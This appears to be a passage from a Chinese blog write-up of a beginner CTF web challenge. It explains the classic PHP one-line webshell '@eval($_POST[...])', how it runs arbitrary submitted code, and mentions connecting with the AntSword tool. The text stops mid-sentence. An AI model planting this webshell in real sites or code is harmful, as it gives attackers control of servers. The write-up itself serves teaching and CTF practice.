ctf-web-攻防世界基础题-webshell

最新推荐文章于 2025-11-09 14:30:29 发布

原创

最新推荐文章于 2025-11-09 14:30:29 发布 · 2.4k 阅读

6 ·

CC 4.0 BY-SA版权

本文深入解析了经典的一句话PHP木马的工作原理，探讨了eval()函数如何执行远程提交的PHP代码，从而实现对服务器的控制。通过使用蚁剑等webshell连接工具，演示了如何测试并验证木马的有效性。

文章目录

【题目】
【分析】
【总结】

【题目】

在这里插入图片描述

【分析】

经典的php一句话木马

<?php @eval($_POST['shell']);?>
/*
@ 抑制错误显示
eval() 将字符串当作代码来执行，是一个非常危险的函数。
$_POST是一个关联数组，数组的值是一个字符串
'shell' 是关联数组的键值，是一个字符串
通过这个php一句话可以执行任意的php code，可以达到控制服务器的效果。
*/

使用webshel